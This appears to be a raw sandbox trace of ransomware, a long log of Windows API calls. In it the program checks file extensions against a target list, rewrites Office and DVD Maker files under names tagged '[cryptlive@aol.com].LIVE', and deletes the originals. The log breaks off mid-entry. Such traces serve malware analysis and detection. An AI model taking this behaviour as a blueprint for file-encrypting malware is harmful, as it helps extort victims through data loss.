[0129.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0129.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0129.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0129.750] lstrlenW (lpString=".doc") returned 4 [0129.750] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0129.750] lstrlenW (lpString=".docx") returned 5 [0129.750] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0129.750] lstrlenW (lpString=".pdf") returned 4 [0129.750] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0129.750] lstrlenW (lpString=".xls") returned 4 [0129.750] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0129.750] lstrlenW (lpString=".xlsx") returned 5 [0129.750] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0129.750] lstrlenW (lpString=".ppt") returned 4 [0129.750] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0129.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0129.750] lstrlenW (lpString=".zip") returned 4 [0129.750] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0129.750] lstrlenW (lpString=".rar") returned 4 [0129.750] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0129.750] lstrlenW (lpString=".bz2") returned 4 [0129.750] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0129.750] lstrlenW (lpString=".7z") returned 3 [0129.750] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0129.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0129.750] lstrlenW (lpString=".dbf") returned 4 [0129.750] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0129.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0129.750] lstrlenW (lpString=".1cd") returned 4 [0129.750] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0129.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0129.751] lstrlenW (lpString=".jpg") returned 4 [0129.751] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0129.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0129.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0129.751] lstrlenW (lpString=".doc") returned 4 [0129.751] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0129.751] lstrlenW (lpString=".docx") returned 5 [0129.751] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0129.751] lstrlenW (lpString=".pdf") returned 4 [0129.751] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0129.751] lstrlenW (lpString=".xls") returned 4 [0129.751] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0129.751] lstrlenW (lpString=".xlsx") returned 5 [0129.752] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0129.752] lstrlenW (lpString=".ppt") returned 4 [0129.752] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0129.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0129.752] lstrlenW (lpString=".zip") returned 4 [0129.752] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0129.752] lstrlenW (lpString=".rar") returned 4 [0129.752] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0129.752] lstrlenW (lpString=".bz2") returned 4 [0129.752] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0129.752] lstrlenW (lpString=".7z") returned 3 [0129.752] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0129.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0129.752] lstrlenW (lpString=".dbf") returned 4 [0129.752] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0129.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0129.752] lstrlenW (lpString=".1cd") returned 4 [0129.752] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0129.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0129.752] lstrlenW (lpString=".jpg") returned 4 [0129.752] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0129.752] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0129.752] lstrlenW (lpString="auxbase.xml") returned 11 [0129.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0129.808] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1434) returned 1 [0129.808] CloseHandle (hObject=0x300) returned 1 [0129.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0129.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.809] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0129.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0129.809] lstrlenW (lpString=".doc") returned 4 [0129.809] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0129.809] lstrlenW (lpString=".docx") returned 5 [0129.809] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0129.809] lstrlenW (lpString=".pdf") returned 4 [0129.809] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0129.809] lstrlenW (lpString=".xls") returned 4 [0129.809] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0129.809] lstrlenW (lpString=".xlsx") returned 5 [0129.809] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0129.809] lstrlenW (lpString=".ppt") returned 4 [0129.809] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0129.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0129.809] lstrlenW (lpString=".zip") returned 4 [0129.809] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0129.809] lstrlenW (lpString=".rar") returned 4 [0129.809] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0129.809] lstrlenW (lpString=".bz2") returned 4 [0129.809] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0129.809] lstrlenW (lpString=".7z") returned 3 [0129.809] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0129.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0129.810] lstrlenW (lpString=".dbf") returned 4 [0129.810] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0132.538] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0132.538] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0132.539] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0132.543] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0132.544] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0132.544] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0133.869] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0133.869] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0133.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0133.869] GetLastError () returned 0x0 [0133.869] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x83c, lpOverlapped=0x0) returned 1 [0133.934] WriteFile (in: hFile=0x390, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x840, lpOverlapped=0x0) returned 1 [0133.935] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0133.935] WriteFile (in: hFile=0x390, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0133.935] SetEndOfFile (hFile=0x390) returned 1 [0133.938] CloseHandle (hObject=0x390) returned 1 [0133.938] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0133.938] SetEndOfFile (hFile=0x38c) returned 1 [0133.958] CloseHandle (hObject=0x38c) returned 1 [0133.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0134.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0134.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0134.081] lstrlenW (lpString=".doc") returned 4 [0134.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.081] lstrlenW (lpString=".docx") returned 5 [0134.081] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.081] lstrlenW (lpString=".pdf") returned 4 [0134.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.081] lstrlenW (lpString=".xls") returned 4 [0134.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.082] lstrlenW (lpString=".xlsx") returned 5 [0134.082] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.082] lstrlenW (lpString=".ppt") returned 4 [0134.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0134.082] lstrlenW (lpString=".zip") returned 4 [0134.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.082] lstrlenW (lpString=".rar") returned 4 [0134.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.082] lstrlenW (lpString=".bz2") returned 4 [0134.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.082] lstrlenW (lpString=".7z") returned 3 [0134.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0134.082] lstrlenW (lpString=".dbf") returned 4 [0134.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0134.082] lstrlenW (lpString=".1cd") returned 4 [0134.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0134.082] lstrlenW (lpString=".jpg") returned 4 [0134.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0134.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0134.082] lstrlenW (lpString=".doc") returned 4 [0134.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.082] lstrlenW (lpString=".docx") returned 5 [0134.082] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.082] lstrlenW (lpString=".pdf") returned 4 [0134.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.083] lstrlenW (lpString=".xls") returned 4 [0134.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.083] lstrlenW (lpString=".xlsx") returned 5 [0134.083] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.083] lstrlenW (lpString=".ppt") returned 4 [0134.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0134.083] lstrlenW (lpString=".zip") returned 4 [0134.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.083] lstrlenW (lpString=".rar") returned 4 [0134.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.083] lstrlenW (lpString=".bz2") returned 4 [0134.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.083] lstrlenW (lpString=".7z") returned 3 [0134.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0134.083] lstrlenW (lpString=".dbf") returned 4 [0134.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0134.083] lstrlenW (lpString=".1cd") returned 4 [0134.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0134.083] lstrlenW (lpString=".jpg") returned 4 [0134.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.083] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.083] lstrlenW (lpString="AN04196_.WMF") returned 12 [0134.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.084] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3144) returned 1 [0134.084] CloseHandle (hObject=0x384) returned 1 [0134.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 0x20 [0134.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.085] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.085] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0134.127] GetLastError () returned 0x0 [0134.127] ReadFile (in: hFile=0x384, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xc48, lpOverlapped=0x0) returned 1 [0134.216] WriteFile (in: hFile=0x39c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xc50, lpOverlapped=0x0) returned 1 [0134.217] ReadFile (in: hFile=0x384, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0134.217] WriteFile (in: hFile=0x39c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.218] SetEndOfFile (hFile=0x39c) returned 1 [0134.218] CloseHandle (hObject=0x39c) returned 1 [0134.218] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.218] SetEndOfFile (hFile=0x384) returned 1 [0134.220] CloseHandle (hObject=0x384) returned 1 [0134.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.220] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0134.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0134.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0134.221] lstrlenW (lpString=".doc") returned 4 [0134.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.221] lstrlenW (lpString=".docx") returned 5 [0134.221] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.221] lstrlenW (lpString=".pdf") returned 4 [0134.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.221] lstrlenW (lpString=".xls") returned 4 [0134.221] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.221] lstrlenW (lpString=".xlsx") returned 5 [0134.221] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.221] lstrlenW (lpString=".ppt") returned 4 [0134.221] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0134.221] lstrlenW (lpString=".zip") returned 4 [0134.221] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.221] lstrlenW (lpString=".rar") returned 4 [0134.221] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.221] lstrlenW (lpString=".bz2") returned 4 [0134.221] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.221] lstrlenW (lpString=".7z") returned 3 [0134.221] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0134.222] lstrlenW (lpString=".dbf") returned 4 [0134.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0134.222] lstrlenW (lpString=".1cd") returned 4 [0134.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0134.222] lstrlenW (lpString=".jpg") returned 4 [0134.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0134.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0134.222] lstrlenW (lpString=".doc") returned 4 [0134.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.222] lstrlenW (lpString=".docx") returned 5 [0134.222] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.222] lstrlenW (lpString=".pdf") returned 4 [0134.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.222] lstrlenW (lpString=".xls") returned 4 [0134.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.222] lstrlenW (lpString=".xlsx") returned 5 [0134.222] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.222] lstrlenW (lpString=".ppt") returned 4 [0134.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0134.222] lstrlenW (lpString=".zip") returned 4 [0134.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.222] lstrlenW (lpString=".rar") returned 4 [0134.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.222] lstrlenW (lpString=".bz2") returned 4 [0134.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.222] lstrlenW (lpString=".7z") returned 3 [0134.222] 